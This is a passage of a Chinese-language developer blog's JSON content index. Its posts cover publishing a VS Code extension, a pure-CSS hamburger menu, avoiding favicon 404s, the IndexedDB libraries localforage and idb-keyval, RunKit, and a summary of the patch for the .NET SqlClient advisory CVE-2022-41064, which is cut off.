\u0026#34;number\u0026#34; \u0026amp;\u0026amp; timestamp.toString() !== \u0026#34;NaN\u0026#34;) { editor.edit((editBuilder) =\u0026gt; { editor.selections.forEach((selectionItem) =\u0026gt; { editBuilder.insert(selectionItem.active, timestamp.toString()); }); }); } else { vscode.window.showErrorMessage(\u0026#34;Datetime convert failed.\u0026#34;); } } catch(e) { vscode.window.showErrorMessage(\u0026#34;Invalid Date.\u0026#34;); } }); // only show generated timestamp let generateTimestamp = vscode.commands.registerCommand(\u0026#34;wconvert.genTimestampJustShow\u0026#34;, askDateTime); // format timestamp to YYYY-MM-DD HH:mm:ss that selections let timestamp2DateTime = vscode.commands.registerTextEditorCommand(\u0026#34;wconvert.timestamp2dateTime\u0026#34;, async (editor, edit) =\u0026gt; { const offsetStr = await input(\u0026#34;Time zone (example: +8)：\u0026#34;); const offset = Number(offsetStr); editor.edit((editBuilder) =\u0026gt; { editor.selections.forEach((selectionItem) =\u0026gt; { try { const selection = editor.document.getText(selectionItem); let dateArr = new Date(parseInt(selection) - (-offset * 60 * 60 * 1000)).toISOString().split(\u0026#34;T\u0026#34;); const [YYYYMMDD, hhmmss] = dateArr; const [year, month, day] = YYYYMMDD.split(\u0026#34;-\u0026#34;); const [hour, minute, fullSecond] = hhmmss.split(\u0026#34;:\u0026#34;); const [second, millionSecondZ] = fullSecond.split(\u0026#34;.\u0026#34;); const millionSecond = millionSecondZ.replace(\u0026#34;Z\u0026#34;, \u0026#34;\u0026#34;); let fullDateTime = `\u0026#34;${year}-${pad(month, 2)}-${pad(day, 2)} ${pad(hour, 2)}:${pad(minute, 2)}:${pad(second, 2)}.${pad(millionSecond, 3)}\u0026#34;`; editBuilder.replace(selectionItem, fullDateTime); } catch (e) { vscode.window.showErrorMessage(\u0026#34;Invalid Date.\u0026#34;); } }); }); }); context.subscriptions.push(timestamp2DateTime, generateTimestamp); } export function deactivate() {} package.json 的 activationEvents 記得加上欲註冊使用的 command，也可直接使用 \u0026quot;*\u0026quot;，將全部的 command 暴露出去！\npackage.json 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 { \u0026#34;name\u0026#34;: \u0026#34;wconvert\u0026#34;, \u0026#34;displayName\u0026#34;: \u0026#34;wconvert\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;help you convert datetime value\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;1.0.3\u0026#34;, \u0026#34;icon\u0026#34;: \u0026#34;photo.jpeg\u0026#34;, \u0026#34;publisher\u0026#34;: \u0026#34;4006wayne\u0026#34;, \u0026#34;repository\u0026#34;: { \u0026#34;type\u0026#34;: \u0026#34;git\u0026#34;, \u0026#34;url\u0026#34;: \u0026#34;https://github.com/wjdesign/vscode-extension-wconvert.git\u0026#34; }, \u0026#34;homepage\u0026#34;: \u0026#34;https://github.com/wjdesign/vscode-extension-wconvert/blob/master/README.md\u0026#34;, \u0026#34;pricing\u0026#34;: \u0026#34;Free\u0026#34;, \u0026#34;engines\u0026#34;: { \u0026#34;vscode\u0026#34;: \u0026#34;^1.73.0\u0026#34; }, \u0026#34;categories\u0026#34;: [ \u0026#34;Other\u0026#34; ], \u0026#34;activationEvents\u0026#34;: [ \u0026#34;onCommand:wconvert.timestamp2dateTime\u0026#34;, \u0026#34;onCommand:wconvert.genTimestamp\u0026#34;, \u0026#34;onCommand:wconvert.genTimestampJustShow\u0026#34; ], \u0026#34;main\u0026#34;: \u0026#34;./out/extension.js\u0026#34;, \u0026#34;contributes\u0026#34;: { \u0026#34;commands\u0026#34;: [ { \u0026#34;command\u0026#34;: \u0026#34;wconvert.timestamp2dateTime\u0026#34;, \u0026#34;title\u0026#34;: \u0026#34;WConvert: DateTime to timestamp\u0026#34; }, { \u0026#34;command\u0026#34;: \u0026#34;wconvert.genTimestamp\u0026#34;, \u0026#34;title\u0026#34;: \u0026#34;WConvert: Generate Timestamp\u0026#34; }, { \u0026#34;command\u0026#34;: \u0026#34;wconvert.genTimestampJustShow\u0026#34;, \u0026#34;title\u0026#34;: \u0026#34;WConvert: Generate Timestamp Only Show\u0026#34; } ] }, \u0026#34;scripts\u0026#34;: { \u0026#34;vscode:prepublish\u0026#34;: \u0026#34;npm run compile\u0026#34;, \u0026#34;compile\u0026#34;: \u0026#34;tsc -p ./\u0026#34;, \u0026#34;watch\u0026#34;: \u0026#34;tsc -watch -p ./\u0026#34;, \u0026#34;pretest\u0026#34;: \u0026#34;npm run compile \u0026amp;\u0026amp; npm run lint\u0026#34;, \u0026#34;lint\u0026#34;: \u0026#34;eslint src --ext ts\u0026#34;, \u0026#34;test\u0026#34;: \u0026#34;node ./out/test/runTest.js\u0026#34; }, \u0026#34;devDependencies\u0026#34;: { \u0026#34;@types/vscode\u0026#34;: \u0026#34;^1.73.0\u0026#34;, \u0026#34;@types/glob\u0026#34;: \u0026#34;^8.0.0\u0026#34;, \u0026#34;@types/mocha\u0026#34;: \u0026#34;^10.0.0\u0026#34;, \u0026#34;@types/node\u0026#34;: \u0026#34;16.x\u0026#34;, \u0026#34;@typescript-eslint/eslint-plugin\u0026#34;: \u0026#34;^5.42.0\u0026#34;, \u0026#34;@typescript-eslint/parser\u0026#34;: \u0026#34;^5.42.0\u0026#34;, \u0026#34;eslint\u0026#34;: \u0026#34;^8.26.0\u0026#34;, \u0026#34;glob\u0026#34;: \u0026#34;^8.0.3\u0026#34;, \u0026#34;mocha\u0026#34;: \u0026#34;^10.1.0\u0026#34;, \u0026#34;typescript\u0026#34;: \u0026#34;^4.8.4\u0026#34;, \u0026#34;@vscode/test-electron\u0026#34;: \u0026#34;^2.2.0\u0026#34; } } 範例 repo\nvsce 打包並發布 Extension，官方文件\n使用 vsce 來打包與發布我的 Extension\n首先全局安裝 vsce：\n1 npm i -g vsce 打包 1 vsce package 下完指令後，會因為沒有 LICENSE 檔案而詢問是否繼續，這邊選擇 Y 直接下一步即可。\n完成後會在指定位置產生一個 .vsix 檔案，此即為我的 Extensions。\n本地安裝我的 Extension 若只是要製作一個自己用的 extension，沒有打算發布到網上，到此步驟即可。\n於 VScode 的 Extensions 頁籤，選擇 Install from VSIX，選擇剛剛產生的 .vsix 檔，即可完成安裝，在 Extensions 的 INSTALLED 內即可看到自己的 extension。\n發布到 Marketplace 前的準備 記住！每次發佈都要幫版本號加一下！\npackage.json 1 2 3 4 5 { // ... \u0026#34;version\u0026#34;: \u0026#34;0.0.1\u0026#34;, // ... } vsce 要求 Personal Access Token 個人訪問金鑰，以下的步驟圖片來源為官方說明文件\n首先請到 https://dev.azure.com/ 申請帳號並登入，在右上角打開 Personal access tokens 頁面。\n點選 New Token 按鈕。\n給這個新 Token一個名字、過期時間，重點是 Organization 請選擇 All accessiable organization，點選 Custom defined 並點選 Show all scopes 打開所有選項。\n找到 Marketplace 項目勾選 Acquire 與 Manage 後點選 Create。\n然後你會得到一個 Token 請複製下來。\n建立發佈器 - Publisher 建立一個 Publisher 用來儲存發佈的 Token ，請在 package.json 中指定要使用的發佈器\u0026quot;publisher\u0026quot;: (publisher name)\npackage.json 1 2 3 4 5 { // ... \u0026#34;publisher\u0026#34;: \u0026#34;{your publisher name}\u0026#34;, // ... } 使用 Marketplace 後台建立 Publisher 請到 https://marketplace.visualstudio.com/manage/publishers/ 建立一個 Publisher。\n使用 vsce 指令建立 Publisher 1 vsce create-publisher (publisher name) 輸入剛剛的 Personal access token，vsce 將會記得這個 publisher 與 token 以方便快速發佈。\nToken 更新 在我們建立 token 時，token 是有效期的，當 token 過期時我們就需要以下這個指來更新 token：\n1 vsce login (publisher name) 發布方式(一)：使用 vsce 發布 extension 下指令發布到 Marketplace：\n1 vsce publish 使用 vsce show 確認 extension 的資訊：\n1 2 # vsce show {publisher name}.{extension id} vsce show 4006wayne.wconvert 也可以在 vsce publish 時直接指定 token：\n1 vsce publish -p \u0026lt;token\u0026gt; 發布方式(二)：使用 Marketplace 後台上傳，發布 extension 前往網址 https://marketplace.visualstudio.com/manage/publishers/，選擇剛剛創建的 Publisher。\n點選 New extension \u0026gt; Visual Studio Code，選擇剛剛 package 出來的 .vsix 檔案後上傳。\n上傳後等待驗證，驗證完畢後即可看到我的 extension：\n結語 到這裡我已經成功發佈我的第一個 Extension 了！\n這是我寫的第一個 Extension，功能很陽春，用途是產生指定時間的時間戳與時間戳轉回指定時區的時間格式。\n非常推薦使用 Typescript 會比較容易開發，不然要查官方API會看得很痛苦，畢竟範例不多或者都要下載才能看。\n實際撰寫時會遇到 VScode API 到底有哪些功能可以使用的問題，甚至要去了解 VScode 的設計結構！\n常見問題 Extension validation error 出現如圖的問題，自行排查 extension 程式碼後發現非程式碼邏輯的問題，可以上 issues 將資訊反應給 vsmarketplace，此可能為 marketplace 驗證 extension 時偵測到特定字元組合而阻擋掉，會專人協助處理。\n附上本人遇到此問題的 Issues\n","date":"2022-11-22T00:00:00Z","image":"https://live.staticflickr.com/65535/52516420035_bc4b9df19c_o.png","permalink":"https://blog.wayne-project.com/2022-11-22/create-own-vscode-extension/","title":"今天來搞一個屬於自己的 VScode Extension 吧！"},{"content":" 參考網站\n前言 選單一直是製作網頁最基本的功能需求之一，因此對於許多的套件內建都會提供選單的功能，且這些滑動式選單，大部分都是透過 Javascript 所製作而成，最主要的原因就在於，透過 Javascript 可以精準的知道，目前使用是點選開啟還是關閉。\n而最近發現一個超酷的寫法，直接透過 HTML 中的核許框，就可判斷目前是開啟還是關閉，再搭配 CSS 就可實作出展開與收合，甚至連漢堡選單的那圖示，也可透過 CSS 繪製出來，且當選單開啟時，還可透過動畫將選單變叉叉的圖示，因此現在就一塊來看看，如何透過純 CSS 打造出開合式漢堡選單吧！\n做法 1. 加入以下的 HTML 架構 首先，先在HTML中加入以下的HTML架構。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;nav class=\u0026#34;nav-box\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;checkbox\u0026#34; id=\u0026#34;menu\u0026#34;\u0026gt; \u0026lt;label for=\u0026#34;menu\u0026#34; class=\u0026#34;line\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;menu\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/label\u0026gt; \u0026lt;div class=\u0026#34;menu-list\u0026#34;\u0026gt; \u0026lt;ul\u0026gt; \u0026lt;li\u0026gt;選單1\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;選單2\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;選單3\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/nav\u0026gt; 2. 加入 CSS 設定漢堡選單的圖示 接著再透過CSS來設定漢堡選單的圖示。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 /* 選單線 */ .line { width: 24px; height: 24px; background: #FFF; cursor: pointer; display: block; padding: 16px; position: fixed; z-index: 2; } .line .menu, .line .menu::before, .line .menu::after { background: #222; content: \u0026#39;\u0026#39;; display: block; height: 1px; position: absolute; transition: background ease .15s, top ease .15s .15s, transform ease .15s; width: 20px; } .line .menu { left: 18px; top: 27px; } .line .menu::before { top: -6px; } .line .menu::after { top: 6px; } 3. 加入 :checked 屬性的判斷 接著再透過 :checked 的屬性，來判斷目前為開啟狀態，當選單開啟時，原來的三條線就變成叉叉。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 /* 點選選單變叉叉 */ #menu:checked + .line .menu { background: transparent; } #menu:checked + .line .menu::before { transform: rotate(45deg); } #menu:checked + .line .menu::after { transform: rotate(-45deg); } #menu:checked + .line .menu::before, #menu:checked + .line .menu::after { top: 0; transition: top ease .15s, transform ease .15s .15s; } 4. 設定開合樣式 當選單按鈕處理好後，一樣用 :checked 來設定選單展開(200px)與收合(60px)。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 /* 選單開合 */ #menu:checked ~ .menu-list { width: 200px; } .menu-list { width: 60px; height: 100vh; background: #FFF; box-shadow: 0 2px 4px rgba(0, 0, 0, .1); padding-top: 60px; position: fixed; z-index: 1; transition: all .3s; overflow: hidden; } /* 選單向外推 */ .menu-list ul { list-style: none; margin-left:70px; padding: 0; } .menu-list ul\u0026gt;li{ display:block; width:100px; } 5. 隱藏 checkbox 都弄好後，再把 input 的核許框給隱藏起來，這樣就可透過純CSS打造出滑動式的漢堡選單啦！\n範例預覽 See the Pen blog/pure-css-toggle-menu-icon by wjdesign (@WJDesign) on CodePen. ","date":"2022-11-21T00:00:00Z","image":"https://live.staticflickr.com/65535/52514242955_fd814a2b16_o.gif","permalink":"https://blog.wayne-project.com/2022-11-21/pure-css-toggle-menu-icon/","title":"免JS！純CSS就可打造出，開合式的漢堡選單功能"},{"content":" 參考網站\n問題原因 瀏覽器初到新網站時，會試著下載名為 Favicon (Favorite Icon) 的網站代表圖示，用在地址列、頁籤、書籤(我的最愛)上。\n若網頁沒特別指定，瀏覽器預設會抓取網站根路徑的 /favicon.ico 檔案，找不到就算了不會觸發錯誤。\n一般我們不為會為測試、開發用網站設計圖示，但瀏覽器仍會在第一次存取時嘗試下載 /favicon.ico，不意外地以 HTTP 404 收場：\n嚴格來說，瀏覽器會記住結果，404 失敗只會發生一次(直到瀏覽器重啟)，大小 5KB 說來無傷大雅。但它最困擾我的地方是使用 F12 網路工具或 Fidder 抓封包時，觀察結果天下飛來一筆 /favicon.ico 404，說明時還要額外解釋，蠻煩人的。\n解決方式 爬文查了避免瀏覽器抓 /favicon.ico 的方法，有以下幾種：\nFirefox 25+ 不支援 1 \u0026lt;link rel=\u0026#34;shortcut icon\u0026#34; href=\u0026#34;data:image/x-icon;,\u0026#34; type=\u0026#34;image/x-icon\u0026#34;\u0026gt; 有些舊瀏覽器不支援 (Android Lollipop) 1 \u0026lt;link rel=\u0026#34;icon\u0026#34; href=\u0026#34;data:,\u0026#34;\u0026gt; 註：若有設定 Content-Security-Policy default-src \u0026lsquo;self\u0026rsquo; 會封限 data:image/png \u0026hellip; 來源，需調整為 default-src 'self' data: 參考 1 \u0026lt;link rel=\u0026#34;icon\u0026#34; type=\u0026#34;image/png\u0026#34; href=\u0026#34;data:image/png;base64,iVBORw0KGgo=\u0026#34;\u0026gt; 結論 結論：若只考慮 Chrome，三種做法均可避免瀏覽器嘗試存取 favicon.ico，第三種做法涵蓋瀏覽器最廣。\n","date":"2022-11-21T00:00:00Z","image":"https://live.staticflickr.com/65535/52513251827_7a73de7710_o.png","permalink":"https://blog.wayne-project.com/2022-11-21/prevent-invalid-favicon/","title":"避免無效 favicon.ico 存取動作"},{"content":" 參考網站\nlocalStorage 是前端本地儲存的一種，其容量一般在 5M-10M 左右，用來快取一些簡單的資料基本夠用，畢竟定位也不是大資料量的儲存。\n在某些場景下 localStorage 的容量就會有點捉襟見肘，其實瀏覽器是有提供大資料量的本地儲存的如 IndexedDB 儲存資料大小一般在 250M 以上。\n彌補了 localStorage 容量的缺陷，但是使用要比 localStorage 複雜一些 mdn IndexedDB\n不過已經有大佬造了輪子封裝了一些呼叫過程使其使用相對簡單，下面我們一起來看一下～\nlocalforage localforage，擁有類似 localStorage API，它能儲存多種型別的資料如 Array、ArrayBuffer、Blob、Number、Object、String，而不僅僅是字串。\n這意味著我們可以直接存 物件、陣列型別的資料避免了 JSON.stringify 轉換資料的一些問題。\n儲存其他資料型別時需要轉換成上邊對應的型別，比如 vue3 中使用 reactive 定義的資料需要使用 toRaw 轉換成原始資料進行儲存， ref 則直接儲存 xxx.value 資料即可。\n安裝 下載最新版本 或使用 npm、bower 進行安裝，引入下載的 localforage 即可使用。\n通過 npm 安裝： 1 npm install localforage 通過 bower 安裝： 1 bower install localforage 使用 提供了與 localStorage 相同的api，不同的是它是非同步的呼叫返回一個 Promise 物件\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 localforage.getItem(\u0026#39;somekey\u0026#39;) .then(function(value) { // 當離線倉庫中的值被載入時，此處程式碼執行 console.log(value); }) .catch(function(err) { // 當出錯時，此處程式碼執行 console.log(err); }); // callback 版本 localforage.getItem(\u0026#39;somekey\u0026#39;, function(err, value) { // 當離線倉庫中的值被載入時，此處程式碼執行 console.log(value); }); 提供的方法 getItem： 根據資料的 key 獲取資料 不存在則返回 null。 setItem： 根據資料的 key 設定資料(儲存 undefined 時 getItem 獲取會返回 null)。 removeItem： 根據 key 刪除資料。 length： 獲取 key 的數量。 key： 根據 key 的索引獲取其名。 keys： 獲取資料倉庫中所有的 key。 iterate： 迭代資料倉庫中的所有 value/key 鍵值對。 配置 完整配置可檢視文件\n這裡說個我覺得很有用的：\n1 localforage.config({ name: \u0026#39;My-localStorage\u0026#39; }); 設定倉庫的名字，不同的名字代表不同的倉庫，當一個應用需要多個本地倉庫隔離資料的時候就很有用。\n1 2 3 4 5 6 const store = localforage.createInstance({ name: \u0026#34;nameHere\u0026#34; }); const otherStore = localforage.createInstance({ name: \u0026#34;otherName\u0026#34; }); // 設定某個資料倉庫 key 的值不會影響到另一個數據倉庫 store.setItem(\u0026#34;key\u0026#34;, \u0026#34;value\u0026#34;); otherStore.setItem(\u0026#34;key\u0026#34;, \u0026#34;value2\u0026#34;); 同時也支援刪除倉庫：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // 呼叫時，若不傳參，將刪除當前例項的 “資料倉庫”。 localforage.dropInstance() .then(function() { console.log(\u0026#39;Dropped the store of the current instance\u0026#39;); }); // 呼叫時，若引數為一個指定了 name 和 storeName 屬性的物件，會刪除指定的 “資料倉庫”。 localforage.dropInstance({ name: \u0026#34;otherName\u0026#34;, storeName: \u0026#34;otherStore\u0026#34; }) .then(function() { console.log(\u0026#39;Dropped otherStore\u0026#39;); }); // 呼叫時，若引數為一個僅指定了 name 屬性的物件，將刪除指定的 “資料庫” (及其所有資料倉庫)。 localforage.dropInstance({ name: \u0026#34;otherName\u0026#34; }) .then(function() { console.log(\u0026#39;Dropped otherName database\u0026#39;); }); idb-keyval idb-keyval 是用 IndexedDB 實現的一個超級簡單的基於 promise 的鍵值儲存。\n安裝 1 npm install idb-keyval 使用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // 全部引入 import idbKeyval from \u0026#39;idb-keyval\u0026#39;; idbKeyval.set(\u0026#39;hello\u0026#39;, \u0026#39;world\u0026#39;) .then(() =\u0026gt; console.log(\u0026#39;It worked!\u0026#39;)) .catch((err) =\u0026gt; console.log(\u0026#39;It failed!\u0026#39;, err)); // 按需引入會 treeshake import { get, set } from \u0026#39;idb-keyval\u0026#39;; set(\u0026#39;hello\u0026#39;, \u0026#39;world\u0026#39;) .then(() =\u0026gt; console.log(\u0026#39;It worked!\u0026#39;)) .catch((err) =\u0026gt; console.log(\u0026#39;It failed!\u0026#39;, err)); get(\u0026#39;hello\u0026#39;) .then((val) =\u0026gt; console.log(val)); 瀏覽器直接引入：\n1 \u0026lt;script src=\u0026#34;https://cdn.jsdelivr.net/npm/idb-keyval@6/dist/umd.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 提供的方法 由於其沒有中文的官網，會把例子及自己的理解附上：\nset set： 設定資料\nkey 可以是 Number、String、Date(IDB 也允許這些值的陣列，但 IE 不支援)。 value 可以是 Number、Array、Object、Date、Blobs 等，儘管老 Edge 不支援 null。\n1 2 3 4 5 import { set } from \u0026#39;idb-keyval\u0026#39;; set(\u0026#39;hello\u0026#39;, \u0026#39;world\u0026#39;) .then(() =\u0026gt; console.log(\u0026#39;It worked!\u0026#39;)) .catch((err) =\u0026gt; console.log(\u0026#39;It failed!\u0026#39;, err)); setMany setMany： 設定多個數據\n一次設定多個值，比一個一個的設定更快\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 import { set, setMany } from \u0026#39;idb-keyval\u0026#39;; // 不應該: Promise.all([set(123, 456), set(\u0026#39;hello\u0026#39;, \u0026#39;world\u0026#39;)]) .then(() =\u0026gt; console.log(\u0026#39;It worked!\u0026#39;)) .catch((err) =\u0026gt; console.log(\u0026#39;It failed!\u0026#39;, err)); // 這樣做更快: setMany([ [123, 456], [\u0026#39;hello\u0026#39;, \u0026#39;world\u0026#39;], ]) .then(() =\u0026gt; console.log(\u0026#39;It worked!\u0026#39;)) .catch((err) =\u0026gt; console.log(\u0026#39;It failed!\u0026#39;, err)); get get： 獲取資料\n如果沒有 key，那麼 value 將返回 undefined。\n1 2 3 4 5 import { get } from \u0026#39;idb-keyval\u0026#39;; // logs: \u0026#34;world\u0026#34; get(\u0026#39;hello\u0026#39;) .then((val) =\u0026gt; console.log(val)); getMany getMany： 獲取多個數據\n一次獲取多個數據，比一個一個的獲取資料更快\n1 2 3 4 5 6 7 8 9 import { get, getMany } from \u0026#39;idb-keyval\u0026#39;; // 不應該: Promise.all([get(123), get(\u0026#39;hello\u0026#39;)]) .then(([firstVal, secondVal]) =\u0026gt; console.log(firstVal, secondVal)); // 這樣做更快: getMany([123, \u0026#39;hello\u0026#39;]) .then(([firstVal, secondVal]) =\u0026gt; console.log(firstVal, secondVal)); del del： 刪除資料\n根據 key 刪除資料\n1 2 3 import { del } from \u0026#39;idb-keyval\u0026#39;; del(\u0026#39;hello\u0026#39;); delMany delMany： 刪除多個數據\n一次刪除多個鍵，比一個一個的刪除更快\n1 2 3 4 5 6 7 8 9 10 11 12 import { del, delMany } from \u0026#39;idb-keyval\u0026#39;; // 不應該: Promise .all([del(123), del(\u0026#39;hello\u0026#39;)]) .then(() =\u0026gt; console.log(\u0026#39;It worked!\u0026#39;)) .catch((err) =\u0026gt; console.log(\u0026#39;It failed!\u0026#39;, err)); // 這樣做更快: delMany([123, \u0026#39;hello\u0026#39;]) .then(() =\u0026gt; console.log(\u0026#39;It worked!\u0026#39;)) .catch((err) =\u0026gt; console.log(\u0026#39;It failed!\u0026#39;, err)); update update： 排隊更新資料，防止由於非同步導致資料更新問題\n因為 get 與 set 都是非同步的使用他們來更新資料可能會存在問題如：\n1 2 3 4 5 6 // Don\u0026#39;t do this: import { get, set } from \u0026#39;idb-keyval\u0026#39;; get(\u0026#39;counter\u0026#39;).then((val) =\u0026gt; set(\u0026#39;counter\u0026#39;, (val || 0) + 1); ); get(\u0026#39;counter\u0026#39;).then((val) =\u0026gt; set(\u0026#39;counter\u0026#39;, (val || 0) + 1); ); // 上述程式碼我們期望的是 2 但實際結果是 1，我們可以在第一個 callback 執行第二次操作。 更好的方法是使用 update 來更新資料：\n1 2 3 4 5 6 // Instead: import { update } from \u0026#39;idb-keyval\u0026#39;; update(\u0026#39;counter\u0026#39;, (val) =\u0026gt; (val || 0) + 1); update(\u0026#39;counter\u0026#39;, (val) =\u0026gt; (val || 0) + 1); // 將自動排隊更新，所以第一次更新將計數器設定為 1，第二次更新將其設定為 2。 clear clear： 清除所有資料\n1 2 3 import { clear } from \u0026#39;idb-keyval\u0026#39;; clear(); entries entries： 返回 [key, value] 形式的資料\n1 2 3 4 import { entries } from \u0026#39;idb-keyval\u0026#39;; // logs: [[123, 456], [\u0026#39;hello\u0026#39;, \u0026#39;world\u0026#39;]] entries().then((entries) =\u0026gt; console.log(entries)); keys keys： 獲取所有資料的 key\n1 2 3 4 import { keys } from \u0026#39;idb-keyval\u0026#39;; // logs: [123, \u0026#39;hello\u0026#39;] keys().then((keys) =\u0026gt; console.log(keys)); values values： 獲取所有資料的 value\n1 2 3 4 import { values } from \u0026#39;idb-keyval\u0026#39;; // logs: [456, \u0026#39;world\u0026#39;] values().then((values) =\u0026gt; console.log(values)); createStore createStore： 自定義倉庫\n1 2 3 4 5 6 7 8 9 10 11 // 自定義資料庫名稱及表名稱 // 建立一個數據庫: // 資料庫名稱為 tang_shi，表名為 table1 const tang_shi_table1 = idbKeyval.createStore(\u0026#39;tang_shi\u0026#39;, \u0026#39;table1\u0026#39;); // 向對應倉庫新增資料 idbKeyval.set(\u0026#39;add\u0026#39;, \u0026#39;table1 的資料\u0026#39;, tang_shi_table1); // 預設建立的倉庫名稱為 keyval-store，表名為 keyval idbKeyval.set(\u0026#39;add\u0026#39;, \u0026#39;預設的資料\u0026#39;); 使用 createStore 建立的資料庫一個庫只會建立一個表：\n1 2 3 4 5 6 7 // 同一個庫有不可以有兩個表，custom-store-2 不會建立成功: const customStore = createStore(\u0026#39;custom-db-name\u0026#39;, \u0026#39;custom-store-name\u0026#39;); const customStore2 = createStore(\u0026#39;custom-db-name\u0026#39;, \u0026#39;custom-store-2\u0026#39;); // 不同的庫有相同的表名，這是可以的: const customStore3 = createStore(\u0026#39;db3\u0026#39;, \u0026#39;keyval\u0026#39;); const customStore4 = createStore(\u0026#39;db4\u0026#39;, \u0026#39;keyval\u0026#39;); 總結 本文介紹了兩個 IndexedDB 的庫，用來解決 localStorage 儲存容量太小的問題。\nlocalforage 與 idb-keyval 之間我更喜歡 localforage 因為其與 localStorage 相似的 api 幾乎沒有上手成本。\n如果需要更加靈活的庫可以看一下 dexie.js、PouchDB、idb、JsStore 或者 lovefield 之類的庫。\n","date":"2022-11-15T00:00:00Z","image":"https://live.staticflickr.com/65535/52501465120_8e19a1cda3_o.png","permalink":"https://blog.wayne-project.com/2022-11-15/localforage-and-idb-keyval/","title":"localStorage 容量太小？試試 localforage、idb-keyval"},{"content":" 參考網站\n試用RunKit 先來說說 RunKit 是什麼。\n首先，Runkit 可以讓你在瀏覽器中運行 Node.js 的代碼。在 Runkit 中，可以很方便的調用眾多的 npm 模塊。這就有點像 Node.js 版的 Jupyter Notebook。同時，Runkit 還可以提供一個免費的 HTTP 服務器而無需任何的服務器安裝和配置。這在開發手機 APP 的服務器端，以及微服務的時候尤其有用。當然，實現無服務器的選擇很多，比如 AWS 的 Lambda + API Gateway，但 RunKit 的最大優勢就是完全免費的，這在開發軟件原型的時候就更為方便了。\n下面分別來看看這兩項功能。\n打開頁面： https://runkit.com/home\n可以通過 Github 授權登錄：\n登錄成功後可以看到：\n點擊運行按鈕後就可以在頁面中看到執行結果：\n在 Runkit 的頁面中可以像正常的 Node.js 環境一樣運行各種 JS 語句。比如，運行如下的簡單代碼獲取 Hive 中文區的最新文章：\n1 2 3 4 5 6 7 8 9 const hive = require(\u0026#39;@hiveio/hive-js\u0026#39;); // Read posts from Hive hive.api.getDiscussionsByCreated({ tag: \u0026#39;hive-105017\u0026#39;, limit: 10 }, function(err, discussions) { for (let i = 0; i \u0026lt; discussions.length; i++) { let post = discussions[i] console.log(post.title) } }) 可以看到返回的结果：\nAPI Endpoint 再來看看我最喜歡的 Runkit 功能：提供簡單的 API endpoint。\n非常簡單的源碼：\n1 exports.endpoint = function(request, response) { response.end(\u0026#34;API endpoint test\u0026#34;); } 單擊 publish 進行發布：\n發布後單擊 endpoint 就會打開對應的 API URL：\n比如說，我這裡的就是：\nhttps://api-jdcmj9qsmxmb.runkit.sh/\n可以看到，無需配置/運行服務器，就可以有自己的 API 可用，又是 serverless，同時還免費，是不是很爽？\n","date":"2022-11-14T00:00:00Z","image":"https://live.staticflickr.com/65535/52498373077_445fbf68b7_o.jpg","permalink":"https://blog.wayne-project.com/2022-11-14/try-runkit/","title":"試用 RunKit"},{"content":" 參考網站\n微軟在 2022-11-08 公佈了 System.Data.SqlClient、Microsoft.Data.SqlClient 的安全漏洞，由於涵蓋大量 .NET 版本 (.NET Framework 到 .NET 6 都可能使用到)，範圍不小，身為 .NET 開發人員，應該關注其影響及修補方式。\n參考了以下文件，試著整理資訊如後。\nMicrosoft Security Advisory CVE 2022-41064 | .NET Information Disclosure Vulnerability #239 .NET Information Disclosure Vulnerability GHSA-8g2p-5pqh by GitHub .NET Framework Information Disclosure Vulnerability CVE-2022-41064 .NET Framework November 2022 Security and Quality Rollup Updates 漏洞來源及攻擊方式 漏洞發生原因是現有 SQL Client 程式庫有個 Bug，在高負載狀況下「非同步查詢(Asynchronously Executed Query)」有可能發生錯接查詢結果的狀況，亦即查詢 A 拿到查詢 B 的結果。\n註：資訊有限，但 Asynchronously Executed Query 應指 ExecuteReaderAsync、ExecuteScalarAsync、ExecuteXmlReaderAsync 等非同步方法參考，同步式查詢(ExecuteReader()\u0026hellip;)在一些狀態下也有可能受影響。(在 Github 找到相關單元測試，透過 ExecuteReader() 但不讀取內容就拋棄 Transaction Scope 方式重現)\n攻擊成功條件：參考\nExploiting this vulnerability requires an attacker to be within the SQL Connection Pool.\n攻擊者須位於同一 SQL Connection Pool 內 (換言之，在同一 Process 內執行) Successful exploitation of this vulnerability requires an attacker to exhaust all the threads in the thread pool.\n攻擊者需耗盡所有 Thread Pool 所有 Thread In this case, a successful attack could cause the attacker access queries from other users in the SQL Connection Pool.\n在此狀況下，攻擊者有機會存取到同 SQL Connetion Pool 其他使用者的查詢結果(撿到什麼內容屬隨機性質) 漏洞範圍 漏洞存在 Microsoft.Data.SqlClient 及 System.Data.SqlClient 眾多版本：\nMicrosoft.Data.SqlClient 1.1.3 (含)之前及 2.0.0 ~ 2.1.1 System.Data.SqlClient 4.8.4 (含)之前版本 而微軟也已釋出 1.1.4、2.1.2、4.8.5 修補漏洞\n修補方式 .NET Core / .NET 5/6 使用以下方式更新版本：\n1 2 3 4 5 6 7 dotnet add package Microsoft.Data.SqlClient --version 2.1.2 # 或 dotnet add package Microsoft.Data.SqlClient --version 1.1.4 # 或 dotnet add package System.Data.SqlClient --version 4.8.5 或者直接修改 .csproj：(若專案先參照其他程式庫再間接參照 SqlClient，也需要加入 PackageReference 強制使用新版)\n1 2 3 4 5 6 7 8 9 10 11 12 13 \u0026lt;Project 